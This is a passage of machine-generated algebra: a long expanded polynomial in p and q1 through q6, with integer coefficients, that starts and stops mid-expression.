100*p**2*q1*q2*q3**2*q4**2*q5**3 - 100*p**2*q1*q2*q3**2*q4**2*q5**2*q6 + 900*p**2*q1*q2*q3**2*q4**2*q5**2 - 100*p**2*q1*q2*q3**2*q4**2*q5*q6**2 + 900*p**2*q1*q2*q3**2*q4**2*q5*q6 - 3600*p**2*q1*q2*q3**2*q4**2*q5 - 100*p**2*q1*q2*q3**2*q4*q5**4 - 100*p**2*q1*q2*q3**2*q4*q5**3*q6 + 900*p**2*q1*q2*q3**2*q4*q5**3 - 100*p**2*q1*q2*q3**2*q4*q5**2*q6**2 + 900*p**2*q1*q2*q3**2*q4*q5**2*q6 - 3600*p**2*q1*q2*q3**2*q4*q5**2 - 100*p**2*q1*q2*q3**2*q4*q5*q6**3 + 900*p**2*q1*q2*q3**2*q4*q5*q6**2 - 3600*p**2*q1*q2*q3**2*q4*q5*q6 + 8400*p**2*q1*q2*q3**2*q4*q5 - 100*p**2*q1*q2*q3*q4**5*q5 - 100*p**2*q1*q2*q3*q4**4*q5**2 - 100*p**2*q1*q2*q3*q4**4*q5*q6 + 900*p**2*q1*q2*q3*q4**4*q5 - 100*p**2*q1*q2*q3*q4**3*q5**3 - 100*p**2*q1*q2*q3*q4**3*q5**2*q6 + 900*p**2*q1*q2*q3*q4**3*q5**2 - 100*p**2*q1*q2*q3*q4**3*q5*q6**2 + 900*p**2*q1*q2*q3*q4**3*q5*q6 - 3600*p**2*q1*q2*q3*q4**3*q5 - 100*p**2*q1*q2*q3*q4**2*q5**4 - 100*p**2*q1*q2*q3*q4**2*q5**3*q6 + 900*p**2*q1*q2*q3*q4**2*q5**3 - 100*p**2*q1*q2*q3*q4**2*q5**2*q6**2 + 900*p**2*q1*q2*q3*q4**2*q5**2*q6 - 3600*p**2*q1*q2*q3*q4**2*q5**2 - 100*p**2*q1*q2*q3*q4**2*q5*q6**3 + 900*p**2*q1*q2*q3*q4**2*q5*q6**2 - 3600*p**2*q1*q2*q3*q4**2*q5*q6 + 8400*p**2*q1*q2*q3*q4**2*q5 - 100*p**2*q1*q2*q3*q4*q5**5 - 100*p**2*q1*q2*q3*q4*q5**4*q6 + 900*p**2*q1*q2*q3*q4*q5**4 - 100*p**2*q1*q2*q3*q4*q5**3*q6**2 + 900*p**2*q1*q2*q3*q4*q5**3*q6 - 3600*p**2*q1*q2*q3*q4*q5**3 - 100*p**2*q1*q2*q3*q4*q5**2*q6**3 + 900*p**2*q1*q2*q3*q4*q5**2*q6**2 - 3600*p**2*q1*q2*q3*q4*q5**2*q6 + 8400*p**2*q1*q2*q3*q4*q5**2 - 100*p**2*q1*q2*q3*q4*q5*q6**4 + 900*p**2*q1*q2*q3*q4*q5*q6**3 - 3600*p**2*q1*q2*q3*q4*q5*q6**2 + 8400*p**2*q1*q2*q3*q4*q5*q6 - 12600*p**2*q1*q2*q3*q4*q5 + 180*p**2*q2**5*q3*q4*q5 + 180*p**2*q2**4*q3**2*q4*q5 + 180*p**2*q2**4*q3*q4**2*q5 + 180*p**2*q2**4*q3*q4*q5**2 + 180*p**2*q2**4*q3*q4*q5*q6 - 1440*p**2*q2**4*q3*q4*q5 + 180*p**2*q2**3*q3**3*q4*q5 + 180*p**2*q2**3*q3**2*q4**2*q5 + 180*p**2*q2**3*q3**2*q4*q5**2 + 180*p**2*q2**3*q3**2*q4*q5*q6 - 1440*p**2*q2**3*q3**2*q4*q5 + 180*p**2*q2**3*q3*q4**3*q5 + 180*p**2*q2**3*q3*q4**2*q5**2 + 180*p**2*q2**3*q3*q4**2*q5*q6 - 1440*p**2*q2**3*q3*q4**2*q5 + 180*p**2*q2**3*q3*q4*q5**3 + 180*p**2*q2**3*q3*q4*q5**2*q6 - 1440*p**2*q2**3*q3*q4*q5**2 + 180*p**2*q2**3*q3*q4*q5*q6**2 - 1440*p**2*q2**3*q3*q4*q5*q6 + 5040*p**2*q2**3*q3*q4*q5 + 180*p**2*q2**2*q3**4*q4*q5 + 180*p**2*q2**2*q3**3*q4**2*q5 + 180*p**2*q2**2*q3**3*q4*q5**2 + 180*p**2*q2**2*q3**3*q4*q5*q6 - 1440*p**2*q2**2*q3**3*q4*q5 + 180*p**2*q2**2*q3**2*q4**3*q5 + 180*p**2*q2**2*q3**2*q4**2*q5**2 + 180*p**2*q2**2*q3**2*q4**2*q5*q6 - 1440*p**2*q2**2*q3**2*q4**2*q5 + 180*p**2*q2**2*q3**2*q4*q5**3 + 180*p**2*q2**2*q3**2*q4*q5**2*q6 - 1440*p**2*q2**2*q3**2*q4*q5**2 + 180*p**2*q2**2*q3**2*q4*q5*q6**2 - 1440*p**2*q2**2*q3**2*q4*q5*q6 + 5040*p**2*q2**2*q3**2*q4*q5 + 180*p**2*q2**2*q3*q4**4*q5 + 180*p**2*q2**2*q3*q4**3*q5**2 + 180*p**2*q2**2*q3*q4**3*q5*q6 - 1440*p**2*q2**2*q3*q4**3*q5 + 180*p**2*q2**2*q3*q4**2*q5**3 + 180*p**2*q2**2*q3*q4**2*q5**2*q6 - 1440*p**2*q2**2*q3*q4**2*q5**2 + 180*p**2*q2**2*q3*q4**2*q5*q6**2 - 1440*p**2*q2**2*q3*q4**2*q5*q6 + 5040*p**2*q2**2*q3*q4**2*q5 + 180*p**2*q2**2*q3*q4*q5**4 + 180*p**2*q2**2*q3*q4*q5**3*q6 - 1440*p**2*q2**2*q3*q4*q5**3 + 180*p**2*q2**2*q3*q4*q5**2*q6**2 - 1440*p**2*q2**2*q3*q4*q5**2*q6 + 5040*p**2*q2**2*q3*q4*q5**2 + 180*p**2*q2**2*q3*q4*q5*q6**3 - 1440*p**2*q2**2*q3*q4*q5*q6**2 + 5040*p**2*q2**2*q3*q4*q5*q6 - 10080*p**2*q2**2*q3*q4*q5 + 180*p**2*q2*q3**5*q4*q5 + 180*p**2*q2*q3**4*q4**2*q5 + 180*p**2*q2*q3**4*q4*q5**2 + 180*p**2*q2*q3**4*q4*q5*q6 - 1440*p**2*q2*q3**4*q4*q5 + 180*p**2*q2*q3**3*q4**3*q5 + 180*p**2*q2*q3**3*q4**2*q5**2 + 180*p**2*q2*q3**3*q4**2*q5*q6 - 1440*p**2*q2*q3**3*q4**2*q5 + 180*p**2*q2*q3**3*q4*q5**3 + 180*p**2*q2*q3**3*q4*q5**2*q6 - 1440*p**2*q2*q3**3*q4*q5**2 + 180*p**2*q2*q3**3*q4*q5*q6**2 - 1440*p**2*q2*q3**3*q4*q5*q6 + 5040*p**2*q2*q3**3*q4*q5 + 180*p**2*q2*q3**2*q4**4*q5 + 180*p**2*q2*q3**2*q4**3*q5**2 + 180*p**2*q2*q3**2*q4**3*q5*q6 - 1440*p**2*q2*q3**2*q4**3*q5 + 180*p**2*q2*q3**2*q4**2*q5**3 + 180*p**2*q2*q3**2*q4**2*q5**2*q6 - 1440*p**2*q2*q3**2*q4**2*q5**2 + 180*p**2*q2*q3**2*q4**2*q5*q6**2 - 1440*p**2*q2*q3**2*q4**2*q5*q6 + 5040*p**2*q2*q3**2*q4**2*q5 + 180*p**2*q2*q3**2*q4*q5**4 + 180*p**2*q2*q3**2*q4*q5**3*q6 - 1440*p**2*q2*q3**2*q4*q5**3 + 180*p**2*q2*q3**2*q4*q5**2*q6**2 - 1440*p**2*q2*q3**2*q4*q5**2*q6 + 5040*p**2*q2*q3**2*q4*q5**2 + 180*p**2*q2*q3**2*q4*q5*q6**3 - 1440*p**2*q2*q3**2*q4*q5*q6**2 + 5040*p**2*q2*q3**2*q4*q5*q6 - 10080*p**2*q2*q3**2*q4*q5 + 180*p**2*q2*q3*q4**5*q5 + 180*p**2*q2*q3*q4**4*q5**2 + 180*p**2*q2*q3*q4**4*q5*q6 - 1440*p**2*q2*q3*q4**4*q5 + 180*p**2*q2*q3*q4**3*q5**3 + 180*p**2*q2*q3*q4**3*q5**2*q6 - 1440*p**2*q2*q3*q4**3*q5**2 + 180*p**2*q2*q3*q4**3*q5*q6**2 - 1440*p**2*q2*q3*q4**3*q5*q6 + 5040*p**2*q2*q3*q4**3*q5 + 180*p**2*q2*q3*q4**2*q5**4 + 180*p**2*q2*q3*q4**2*q5**3*q6 - 1440*p**2*q2*q3*q4**2*q5**3 + 180*p**2*q2*q3*q4**2*q5**2*q6**2 - 1440*p**2*q2*q3*q4**2*q5**2*q6 + 5040*p**2*q2*q3*q4**2*q5**2 + 180*p**2*q2*q3*q4**2*q5*q6**3 - 1440*p**2*q2*q3*q4**2*q5*q6**2 + 5040*p**2*q2*q3*q4**2*q5*q6 - 10080*p**2*q2*q3*q4**2*q5 + 180*p**2*q2*q3*q4*q5**5 + 180*p**2*q2*q3*q4*q5**4*q6 - 1440*p**2*q2*q3*q4*q5**4 + 180*p**2*q2*q3*q4*q5**3*q6**2 - 1440*p**2*q2*q3*q4*q5**3*q6 + 5040*p**2*q2*q3*q4*q5**3 + 180*p**2*q2*q3*q4*q5**2*q6**3 - 1440*p**2*q2*q3*q4*q5**2*q6**2 + 5040*p**2*q2*q3*q4*q5**2*q6 - 10080*p**2*q2*q3*q4*q5**2 + 180*p**2*q2*q3*q4*q5*q6**4 - 1440*p**2*q2*q3*q4*q5*q6**3 + 5040*p**2*q2*q3*q4*q5*q6**2 - 10080*p**2*q2*q3*q4*q5*q6 + 12600*p**2*q2*q3*q4*q5 - 120*p**2*q3**5*q4*q5 - 120*p**2*q3**4*q4**2*q5 - 120*p**2*q3**4*q4*q5**2 - 120*p**2*q3**4*q4*q5*q6 + 840*p**2*q3**4*q4*q5 - 120*p**2*q3**3*q4**3*q5 - 120*p**2*q3**3*q4**2*q5**2 - 120*p**2*q3**3*q4**2*q5*q6 + 840*p**2*q3**3*q4**2*q5 - 120*p**2*q3**3*q4*q5**3 - 120*p**2*q3**3*q4*q5**2*q6 + 840*p**2*q3**3*q4*q5**2 - 120*p**2*q3**3*q4*q5*q6**2 + 840*p**2*q3**3*q4*q5*q6 - 2520*p**2*q3**3*q4*q5 - 120*p**2*q3**2*q4**4*q5 - 120*p**2*q3**2*q4**3*q5**2 - 120*p**2*q3**2*q4**3*q5*q6 + 840*p**2*q3**2*q4**3*q5 - 120*p**2*q3**2*q4**2*q5**3 - 120*p**2*q3**2*q4**2*q5**2*q6 + 840*p**2*q3**2*q4**2*q5**2 - 120*p**2*q3**2*q4**2*q5*q6**2 + 840*p**2*q3**2*q4**2*q5*q6 - 2520*p**2*q3**2*q4**2*q5 - 120*p**2*q3**2*q4*q5**4 - 120*p**2*q3**2*q4*q5**3*q6 + 840*p**2*q3**2*q4*q5**3 - 120*p**2*q3**2*q4*q5**2*q6**2 + 840*p**2*q3**2*q4*q5**2*q6 - 2520*p**2*q3**2*q4*q5**2 - 120*p**2*q3**2*q4*q5*q6**3 + 840*p**2*q3**2*q4*q5*q6**2 - 2520*p**2*q3**2*q4*q5*q6 + 4200*p**2*q3**2*q4*q5 - 120*p**2*q3*q4**5*q5 - 120*p**2*q3*q4**4*q5**2 - 120*p**2*q3*q4**4*q5*q6 + 840*p**2*q3*q4**4*q5 - 120*p**2*q3*q4**3*q5**3 - 120*p**2*q3*q4**3*q5**2*q6 + 840*p**2*q3*q4**3*q5**2 - 120*p**2*q3*q4**3*q5*q6**2 + 840*p**2*q3*q4**3*q5*q6 - 2520*p**2*q3*q4**3*q5 - 120*p**2*q3*q4**2*q5**4 - 120*p**2*q3*q4**2*q5**3*q6 + 840*p**2*q3*q4**2*q5**3 - 120*p**2*q3*q4**2*q5**2*q6**2 + 840*p**2*q3*q4**2*q5**2*q6 - 2520*p**2*q3*q4**2*q5**2 - 120*p**2*q3*q4**2*q5*q6**3 + 840*p**2*q3*q4**2*q5*q6**2 - 2520*p**2*q3*q4**2*q5*q6 + 4200*p**2*q3*q4**2*q5 - 120*p**2*q3*q4*q5**5 - 120*p**2*q3*q4*q5**4*q6 + 840*p**2*q3*q4*q5**4 - 120*p**2*q3*q4*q5**3*q6**2 + 840*p**2*q3*q4*q5**3*q6 - 2520*p**2*q3*q4*q5**3 - 120*p**2*q3*q4*q5**2*q6**3 + 840*p**2*q3*q4*q5**2*q6**2 - 2520*p**2*q3*q4*q5**2*q6 + 4200*p**2*q3*q4*q5**2 - 120*p**2*q3*q4*q5*q6**4 + 840*p**2*q3*q4*q5*q6**3 - 2520*p**2*q3*q4*q5*q6**2 + 4200*p**2*q3*q4*q5*q6 - 4200*p**2*q3*q4*q5 + 50*p*q1**5*q2*q3*q4*q5 + 50*p*q1**4*q2**2*q3*q4*q5 + 50*p*q1**4*q2*q3**2*q4*q5 + 50*p*q1**4*q2*q3*q4**2*q5 + 50*p*q1**4*q2*q3*q4*q5**2 + 50*p*q1**4*q2*q3*q4*q5*q6 - 450*p*q1**4*q2*q3*q4*q5 + 50*p*q1**3*q2**3*q3*q4*q5 + 50*p*q1**3*q2**2*q3**2*q4*q5 + 50*p*q1**3*q2**2*q3*q4**2*q5 + 50*p*q1**3*q2**2*q3*q4*q5**2 + 50*p*q1**3*q2**2*q3*q4*q5*q6 - 450*p*q1**3*q2**2*q3*q4*q5 + 50*p*q1**3*q2*q3**3*q4*q5 + 50*p*q1**3*q2*q3**2*q4**2*q5 + 50*p*q1**3*q2*q3**2*q4*q5**2 + 50*p*q1**3*q2*q3**2*q4*q5*q6 - 450*p*q1**3*q2*q3**2*q4*q5 + 50*p*q1**3*q2*q3*q4**3*q5 + 50*p*q1**3*q2*q3*q4**2*q5**2 + 50*p*q1**3*q2*q3*q4**2*q5*q6 - 450*p*q1**3*q2*q3*q4**2*q5 + 50*p*q1**3*q2*q3*q4*q5**3 + 50*p*q1**3*q2*q3*q4*q5**2*q6 - 450*p*q1**3*q2*q3*q4*q5**2 + 50*p*q1**3*q2*q3*q4*q5*q6**2 - 450*p*q1**3*q2*q3*q4*q5*q6 + 1800*p*q1**3*q2*q3*q4*q5 + 50*p*q1**2*q2**4*q3*q4*q5 + 50*p*q1**2*q2**3*q3**2*q4*q5 + 50*p*q1**2*q2**3*q3*q4**2*q5 + 50*p*q1**2*q2**3*q3*q4*q5**2 + 50*p*q1**2*q2**3*q3*q4*q5*q6 - 450*p*q1**2*q2**3*q3*q4*q5 + 50*p*q1**2*q2**2*q3**3*q4*q5 + 50*p*q1**2*q2**2*q3**2*q4**2*q5 + 50*p*q1**2*q2**2*q3**2*q4*q5**2 + 50*p*q1**2*q2**2*q3**2*q4*q5*q6 - 450*p*q1**2*q2**2*q3**2*q4*q5 + 50*p*q1**2*q2**2*q3*q4**3*q5 + 50*p*q1**2*q2**2*q3*q4**2*q5**2 + 50*p*q1**2*q2**2*q3*q4**2*q5*q6 - 450*p*q1**2*q2**2*q3*q4**2*q5 + 50*p*q1**2*q2**2*q3*q4*q5**3 + 50*p*q1**2*q2**2*q3*q4*q5**2*q6 - 450*p*q1**2*q2**2*q3*q4*q5**2 + 50*p*q1**2*q2**2*q3*q4*q5*q6**2 - 450*p*q1**2*q2**2*q3*q4*q5*q6 + 1800*p*q1**2*q2**2*q3*q4*q5 + 50*p*q1**2*q2*q3**4*q4*q5 + 50*p*q1**2*q2*q3**3*q4**2*q5 + 50*p*q1**2*q2*q3**3*q4*q5**2 + 50*p*q1**2*q2*q3**3*q4*q5*q6 - 450*p*q1**2*q2*q3**3*q4*q5 + 50*p*q1**2*q2*q3**2*q4**3*q5 + 50*p*q1**2*q2*q3**2*q4**2*q5**2 + 50*p*q1**2*q2*q3**2*q4**2*q5*q6 - 450*p*q1**2*q2*q3**2*q4**2*q5 + 50*p*q1**2*q2*q3**2*q4*q5**3 + 50*p*q1**2*q2*q3**2*q4*q5**2*q6 - 450*p*q1**2*q2*q3**2*q4*q5**2 + 50*p*q1**2*q2*q3**2*q4*q5*q6**2 - 450*p*q1**2*q2*q3**2*q4*q5*q6 + 1800*p*q1**2*q2*q3**2*q4*q5 + 50*p*q1**2*q2*q3*q4**4*q5 + 50*p*q1**2*q2*q3*q4**3*q5**2 + 50*p*q1**2*q2*q3*q4**3*q5*q6 - 450*p*q1**2*q2*q3*q4**3*q5 + 50*p*q1**2*q2*q3*q4**2*q5**3 + 50*p*q1**2*q2*q3*q4**2*q5**2*q6 - 450*p*q1**2*q2*q3*q4**2*q5**2 + 50*p*q1**2*q2*q3*q4**2*q5*q6**2 - 450*p*q1**2*q2*q3*q4**2*q5*q6 + 1800*p*q1**2*q2*q3*q4**2*q5 + 50*p*q1**2*q2*q3*q4*q5**4 + 50*p*q1**2*q2*q3*q4*q5**3*q6 - 450*p*q1**2*q2*q3*q4*q5**3 + 50*p*q1**2*q2*q3*q4*q5**2*q6**2 - 450*p*q1**2*q2*q3*q4*q5**2*q6 + 1800*p*q1**2*q2*q3*q4*q5**2 + 50*p*q1**2*q2*q3*q4*q5*q6**3 - 450*p*q1**2*q2*q3*q4*q5*q6**2 + 1800*p*q1**2*q2*q3*q4*q5*q6 - 4200*p*q1**2*q2*q3*q4*q5 + 50*p*q1*q2**5*q3*q4*q5 + 50*p*q1*q2**4*q3**2*q4*q5 + 50*p*q1*q2**4*q3*q4**2*q5 + 50*p*q1*q2**4*q3*q4*q5**2 + 50*p*q1*q2**4*q3*q4*q5*q6 - 450*p*q1*q2**4*q3*q4*q5 + 50*p*q1*q2**3*q3**3*q4*q5 + 50*p*q1*q2**3*q3**2*q4**2*q5 + 50*p*q1*q2**3*q3**2*q4*q5**2 + 50*p*q1*q2**3*q3**2*q4*q5*q6 - 450*p*q1*q2**3*q3**2*q4*q5 + 50*p*q1*q2**3*q3*q4**3*q5 + 50*p*q1*q2**3*q3*q4**2*q5**2 + 50*p*q1*q2**3*q3*q4**2*q5*q6 - 450*p*q1*q2**3*q3*q4**2*q5 + 50*p*q1*q2**3*q3*q4*q5**3 + 50*p*q1*q2**3*q3*q4*q5**2*q6 - 450*p*q1*q2**3*q3*q4*q5**2 + 50*p*q1*q2**3*q3*q4*q5*q6**2 - 450*p*q1*q2**3*q3*q4*q5*q6 + 1800*p*q1*q2**3*q3*q4*q5 + 50*p*q1*q2**2*q3**4*q4*q5 + 50*p*q1*q2**2*q3**3*q4**2*q5 + 50*p*q1*q2**2*q3**3*q4*q5**2 + 50*p*q1*q2**2*q3**3*q4*q5*q6 - 450*p*q1*q2**2*q3**3*q4*q5 + 50*p*q1*q2**2*q3**2*q4**3*q5 + 50*p*q1*q2**2*q3**2*q4**2*q5**2 + 50*p*q1*q2**2*q3**2*q4**2*q5*q6 - 450*p*q1*q2**2*q3**2*q4**2*q5 + 50*p*q1*q2**2*q3**2*q4*q5**3 + 50*p*q1*q2**2*q3**2*q4*q5**2*q6 - 450*p*q1*q2**2*q3**2*q4*q5**2 + 50*p*q1*q2**2*q3**2*q4*q5*q6**2 - 450*p*q1*q2**2*q3**2*q4*q5*q6 + 1800*p*q1*q2**2*q3**2*q4*q5 + 50*p*q1*q2**2*q3*q4**4*q5 + 50*p*q1*q2**2*q3*q4**3*q5**2 + 50*p*q1*q2**2*q3*q4**3*q5*q6 - 450*p*q1*q2**2*q3*q4**3*q5 + 50*p*q1*q2**2*q3*q4**2*q5**3 + 50*p*q1*q2**2*q3*q4**2*q5**2*q6 - 450*p*q1*q2**2*q3*q4**2*q5**2 + 50*p*q1*q2**2*q3*q4**2*q5*q6**2 - 450*p*q1*q2**2*q3*q4**2*q5*q6 + 1800*p*q1*q2**2*q3*q4**2*q5 + 50*p*q1*q2**2*q3*q4*q5**4 + 50*p*q1*q2**2*q3*q4*q5**3*q6 - 450*p*q1*q2**2*q3*q4*q5**3 + 50*p*q1*q2**2*q3*q4*q5**2*q6**2 - 450*p*q1*q2**2*q3*q4*q5**2*q6 + 1800*p*q1*q2**2*q3*q4*q5**2 + 50*p*q1*q2**2*q3*q4*q5*q6**3 - 450*p*q1*q2**2*q3*q4*q5*q6**2 + 1800*p*q1*q2**2*q3*q4*q5*q6 - 4200*p*q1*q2**2*q3*q4*q5 + 50*p*q1*q2*q3**5*q4*q5 + 50*p*q1*q2*q3**4*q4**2*q5 + 50*p*q1*q2*q3**4*q4*q5**2 + 50*p*q1*q2*q3**4*q4*q5*q6 - 450*p*q1*q2*q3**4*q4*q5 + 50*p*q1*q2*q3**3*q4**3*q5 + 50*p*q1*q2*q3**3*q4**2*q5**2 + 50*p*q1*q2*q3**3*q4**2*q5*q6 - 450*p*q1*q2*q3**3*q4**2*q5 + 50*p*q1*q2*q3**3*q4*q5**3 + 50*p*q1*q2*q3**3*q4*q5**2*q6 - 450*p*q1*q2*q3**3*q4*q5**2 + 50*p*q1*q2*q3**3*q4*q5*q6**2 - 450*p*q1*q2*q3**3*q4*q5*q6 + 1800*p*q1*q2*q3**3*q4*q5 + 50*p*q1*q2*q3**2*q4**4*q5 + 50*p*q1*q2*q3**2*q4**3*q5**2 + 50*p*q1*q2*q3**2*q4**3*q5*q6 - 450*p*q1*q2*q3**2*q4**3*q5 + 50*p*q1*q2*q3**2*q4**2*q5**3 + 50*p*q1*q2*q3**2*q4**2*q5**2*q6 - 450*p*q1*q2*q3**2*q4**2*q5**2 + 50*p*q1*q2*q3**2*q4**2*q5*q6**2 - 450*p*q1*q2*q3**2*q4**2*q5*q6 + 1800*p*q1*q2*q3**2*q4**2*q5 + 50*p*q1*q2*q3**2*q4*q5**4 + 50*p*q1*q2*q3**2*q4*q5**3*q6 - 450*p*q1*q2*q3**2*q4*q5**3 + 50*p*q1*q2*q3**2*q4*q5**2*q6**2 - 450*p*q1*q2*q3**2*q4*q5**2*q6 + 1800*p*q1*q2*q3**2*q4*q5**2 + 50*p*q1*q2*q3**2*q4*q5*q6**3 - 450*p*q1*q2*q3**2*q4*q5*q6**2 + 1800*p*q1*q2*q3**2*q4*q5*q6 - 4200*p*q1*q2*q3**2*q4*q5 + 50*p*q1*q2*q3*q4**5*q5 + 50*p*q1*q2*q3*q4**4*q5**2 + 50*p*q1*q2*q3*q4**4*q5*q6 - 450*p*q1*q2*q3*q4**4*q5 + 50*p*q1*q2*q3*q4**3*q5**3 + 50*p*q1*q2*q3*q4**3*q5**2*q6 - 450*p*q1*q2*q3*q4**3*q5**2 + 50*p*q1*q2*q3*q4**3*q5*q6**2 - 450*p*q1*q2*q3*q4**3*q5*q6 + 1800*p*q1*q2*q3*q4**3*q5 + 50*p*q1*q2*q3*q4**2*q5**4 + 50*p*q1*q2*q3*q4**2*q5**3*q6 - 450*p*q1*q2*q3*q4**2*q5**3 + 50*p*q1*q2*q3*q4**2*q5**2*q6**2 - 450*p*q1*q2*q3*q4**2*q5**2*q6 + 1800*p*q1*q2*q3*q4**2*q5**2 + 50*p*q1*q2*q3*q4**2*q5*q6**3 - 450*p*q1*q2*q3*q4**2*q5*q6**2 + 1800*p*q1*q2*q3*q4**2*q5*q6 - 4200*p*q1*q2*q3*q4**2*q5 + 50*p*q1*q2*q3*q4*q5**5 + 50*p*q1*q2*q3*q4*q5**4*q6 - 450*p*q1*q2*q3*q4*q5**4 + 50*p*q1*q2*q3*q4*q5**3*q6**2 - 450*p*q1*q2*q3*q4*q5**3*q6 + 1800*p*q1*q2*q3*q4*q5**3 + 50*p*q1*q2*q3*q4*q5**2*q6**3 - 450*p*q1*q2*q3*q4*q5**2*q6**2 + 1800*p*q1*q2*q3*q4*q5**2*q6 - 4200*p*q1*q2*q3*q4*q5**2 + 50*p*q1*q2*q3*q4*q5*q6**4 - 450*p*q1*q2*q3*q4*q5*q6**3 + 1800*p*q1*q2*q3*q4*q5*q6**2 - 4200*p*q1*q2*q3*q4*q5*q6 + 6300*p*q1*q2*q3*q4*q5 - 45*p*q2**5*q3*q4*q5 - 45*p*q2**4*q3**2*q4*q5 - 45*p*q2**4*q3*q4**2*q5 - 45*p*q2**4*q3*q4*q5**2 - 45*p*q2**4*q3*q4*q5*q6 + 360*p*q2**4*q3*q4*q5 - 45*p*q2**3*q3**3*q4*q5 - 45*p*q2**3*q3**2*q4**2*q5 - 45*p*q2**3*q3**2*q4*q5**2 - 45*p*q2**3*q3**2*q4*q5*q6 + 360*p*q2**3*q3**2*q4*q5 - 45*p*q2**3*q3*q4**3*q5 - 45*p*q2**3*q3*q4**2*q5**2 - 45*p*q2**3*q3*q4**2*q5*q6 + 360*p*q2**3*q3*q4**2*q5 - 45*p*q2**3*q3*q4*q5**3 - 45*p*q2**3*q3*q4*q5**2*q6 + 360*p*q2**3*q3*q4*q5**2 - 45*p*q2**3*q3*q4*q5*q6**2 + 360*p*q2**3*q3*q4*q5*q6 - 1260*p*q2**3*q3*q4*q5 - 45*p*q2**2*q3**4*q4*q5 - 45*p*q2**2*q3**3*q4**2*q5 - 45*p*q2**2*q3**3*q4*q5**2 - 45*p*q2**2*q3**3*q4*q5*q6 + 360*p*q2**2*q3**3*q4*q5 - 45*p*q2**2*q3**2*q4**3*q5 - 45*p*q2**2*q3**2*q4**2*q5**2 - 45*p*q2**2*q3**2*q4**2*q5*q6 + 360*p*q2**2*q3**2*q4**2*q5 - 45*p*q2**2*q3**2*q4*q5**3 - 45*p*q2**2*q3**2*q4*q5**2*q6 + 360*p*q2**2*q3**2*q4*q5**2 - 45*p*q2**2*q3**2*q4*q5*q6**2 + 360*p*q2**2*q3**2*q4*q5*q6 - 1260*p*q2**2*q3**2*q4*q5 - 45*p*q2**2*q3*q4**4*q5 - 45*p*q2**2*q3*q4**3*q5**2 - 45*p*q2**2*q3*q4**3*q5*q6 + 360*p*q2**2*q3*q4**3*q5 - 45*p*q2**2*q3*q4**2*q5**3 - 45*p*q2**2*q3*q4**2*q5**2*q6 + 360*p*q2**2*q3*q4**2*q5**2 - 45*p*q2**2*q3*q4**2*q5*q6**2 + 360*p*q2**2*q3*q4**2*q5*q6 - 1260*p*q2**2*q3*q4**2*q5 - 45*p*q2**2*q3*q4*q5**4 - 45*p*q2**2*q3*q4*q5**3*q6 + 360*p*q2**2*q3*q4*q5**3 - 45*p*q2**2*q3*q4*q5**2*q6**2 + 360*p*q2**2*q3*q4*q5**2*q6 - 1260*p*q2**2*q3*q4*q5**2 - 45*p*q2**2*q3*q4*q5*q6**3 + 360*p*q2**2*q3*q4*q5*q6**2 - 1260*p*q2**2*q3*q4*q5*q6 + 2520*p*q2**2*q3*q4*q5 - 45*p*q2*q3**5*q4*q5 - 45*p*q2*q3**4*q4**2*q5 - 45*p*q2*q3**4*q4*q5**2 - 45*p*q2*q3**4*q4*q5*q6 + 360*p*q2*q3**4*q4*q5 - 45*p*q2*q3**3*q4**3*q5 - 45*p*q2*q3**3*q4**2*q5**2 - 45*p*q2*q3**3*q4**2*q5*q6 + 360*p*q2*q3**3*q4**2*q5 - 45*p*q2*q3**3*q4*q5**3 - 45*p*q2*q3**3*q4*q5**2*q6 + 360*p*q2*q3**3*q4*q5**2 - 45*p*q2*q3**3*q4*q5*q6**2 + 360*p*q2*q3**3*q4*q5*q6 - 1260*p*q2*q3**3*q4*q5 - 45*p*q2*q3**2*q4**4*q5 - 45*p*q2*q3**2*q4**3*q5**2 - 45*p*q2*q3**2*q4**3*q5*q6 + 360*p*q2*q3**2*q4**3*q5 - 45*p*q2*q3**2*q4**2*q5**3 - 45*p*q2*q3**2*q4**2*q5**2*q6 + 360*p*q2*q3**2*q4**2*q5**2 - 45*p*q2*q3**2*q4**2*q5*q6**2 + 360*p*q2*q3**2*q4**2*q5*q6 - 1260*p*q2*q3**2*q4**2*q5 - 45*p*q2*q3**2*q4*q5**4 - 45*p*q2*q3**2*q4*q5**3*q6 + 360*p*q2*q3**2*q4*q5**3 - 45*p*q2*q3**2*q4*q5**2*q6**2 + 360*p*q2*q3**2*q4*q5**2*q6 - 1260*p*q2*q3**2*q4*q5**2 - 45*p*q2*q3**2*q4*q5*q6**3 + 360*p*q2*q3**2*q4*q5*q6**2 - 1260*p*q2*q3**2*q4*q5*q6 + 2520*p*q2*q3**2*q4*q5 - 45*p*q2*q3*q4**5*q5 - 45*p*q2*q3*q4**4*q5**2 - 45*p*q2*q3*q4**4*q5*q6 + 360*p*q2*q3*q4**4*q5 - 45*p*q2*q3*q4**3*q5**3 - 45*p*q2*q3*q4**3*q5**2*q6 + 360*p*q2*q3*q4**3*q5**2 - 45*p*q2*q3*q4**3*q5*q6**2 + 360*p*q2*q3*q4**3*q5*q6 - 1260*p*q2*q3*q4**3*q5 - 45*p*q2*q3*q4**2*q5**4 - 45*p*q2*q3*q4**2*q5**3*q6 + 360*p*q2*q3*q4**2*q5**3 - 45*p*q2*q3*q4**2*q5**2*q6**2 + 360*p*q2*q3*q4**2*q5**2*q6 - 1260*p*q2*q3*q4**2*q5**2 - 45*p*q2*q3*q4**2*q5*q6**3 + 360*p*q2*q3*q4**2*q5*q6**2 - 1260*p*q2*q3*q4**2*q5*q6 + 2520*p*q2*q3*q4**2*q5 - 45*p*q2*q3*q4*q5**5 - 45*p*q2*q3*q4*q5**4*q6 + 360*p*q2*q3*q4*q5**4 - 45*p*q2*q3*q4*q5**3*q6**2 + 360*p*q2*q3*q4*q5**3*q6 - 1260*p*q2*q3*q4*q5**3 - 45*p*q2*q3*q4*q5**2*q6**3 + 360*p*q2*q3*q4*q5**2*q6**2 - 1260*p*q2*q3*q4*q5**2*q6 + 2520*p*q2*q3*q4*q5**2 - 45*p*q2*q3*q4*q5*q6**4 + 360*p*q2*q3*q4*q5*q6**3 - 1260*p*q2*q3*q4*q5*q6**2 + 2520*p*q2*q3*q4*q5*q6 - 3150*p*q2*q3*q4*q5 - 10*q1**5*q2*q3*q4*q5 - 10*q1**4*q2**2*q3*q4*q5 - 10*q1**4*q2*q3**2*q4*q5 - 10*q1**4*q2*q3*q4**2*q5 - 10*q1**4*q2*q3*q4*q5**2 - 10*q1**4*q2*q3*q4*q5*q6 + 90*q1**4*q2*q3*q4*q5 - 10*q1**3*q2**3*q3*q4*q5 - 10*q1**3*q2**2*q3**2*q4*q5 - 10*q1**3*q2**2*q3*q4**2*q5 - 